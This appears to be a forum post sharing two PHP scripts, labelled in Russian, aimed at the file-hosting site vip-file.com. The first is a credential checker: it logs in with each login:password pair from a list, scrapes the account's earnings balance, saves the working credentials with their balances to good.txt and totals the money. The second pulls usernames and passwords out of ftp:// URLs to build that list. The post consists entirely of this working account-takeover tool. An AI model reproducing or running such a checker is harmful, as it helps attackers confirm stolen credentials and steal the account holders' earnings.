Код:

<?php
//++++++++++++++++++++++++++++++++++++++++++
//+++++++++++++++coded by mr.Z++++++++++++
//+++++++VIP-FILE.com_balance_checker+++++++
//++++++++++++++++++++++++++++++++++++++++++
@set_time_limit(0);
@ini_set('max_execution_time',0);

$i=0;
$all=0;
$accounts=array();
$fp=fopen("accounts.txt","r");
if(!$fp)
{
echo "Rock and Roll!";
exit;
}
while(!feof($fp))
    {
    $accounts[$i]=fgets($fp,4096);
    $i++;
    }
fclose($fp);
$i-=1;
while($i>=0)
{
    list($name,$pass)=split(":",$accounts[$i]);
    $name=trim($name);
    $pass=trim($pass);
    echo $name." : ".$pass;
    $post_fields = 'l='.$name.'&p='.$pass.'&Submit=%C2%CE%C9%D2%C8';
    $lurl = "http://vip-file.com/ftp/set_coockie.php";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$lurl);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt ($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_followlocation, 1);
    curl_setopt($ch,CURLOPT_COOKIEJAR,"cookie.txt");
    $result= curl_exec ($ch);
    curl_close ($ch);

    $purl = "http://vip-file.com/earn/show_stats_new.php";
    $ch=curl_init ();
    curl_setopt($ch, CURLOPT_URL,$purl);
    curl_setopt ($ch, CURLOPT_HEADER, 1 );
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_COOKIEFILE,"cookie.txt");
    $result=curl_exec ($ch);
    curl_close($ch);
    preg_match('/<div align="center" class="style2">(.*)Ballanse include bonus factor  \$([\s0-9\.]*)<font color="silver">/si',$result,$balance);
    if($balance[2]>0)
    echo " Ballanse: <b>".$balance[2]."</b></br>";
    else
    echo " Ваш баланс: ".$balance[2]."</br>";
    $fp=fopen("good.txt","a");
    if(!$fp)
    {
    echo "Rock and Roll!";
    exit;
    }
    $result=$name.":".trim($pass).":".$balance[2]."\n";
    fputs($fp,$result);
    fclose($fp);
    $all+=trim($balance[2]);
    $i--;
}
echo "</br><b>All money $ <u>".$all."</u></b>";
?>

Парсер:
Код

Код:
<?php 
$fp=fopen("wait.txt","r");  
if(!$fp)  
{  
echo "Not found wait.txt!";  
exit;  
}  
while(!feof($fp))  
    {  
    $accounts=fgets($fp,4096);  
    preg_match("/ftp:\/\/([0-9a-z]+):([0-9a-z]+)@/i",$accounts,$result); 
    $accounts=$result[1].":".$result[2]."\n"; 
    $fp1=fopen("accounts.txt","a"); 
        fputs($fp1,$accounts); 
    fclose($fp1); 
    }  
fclose($fp); 
?>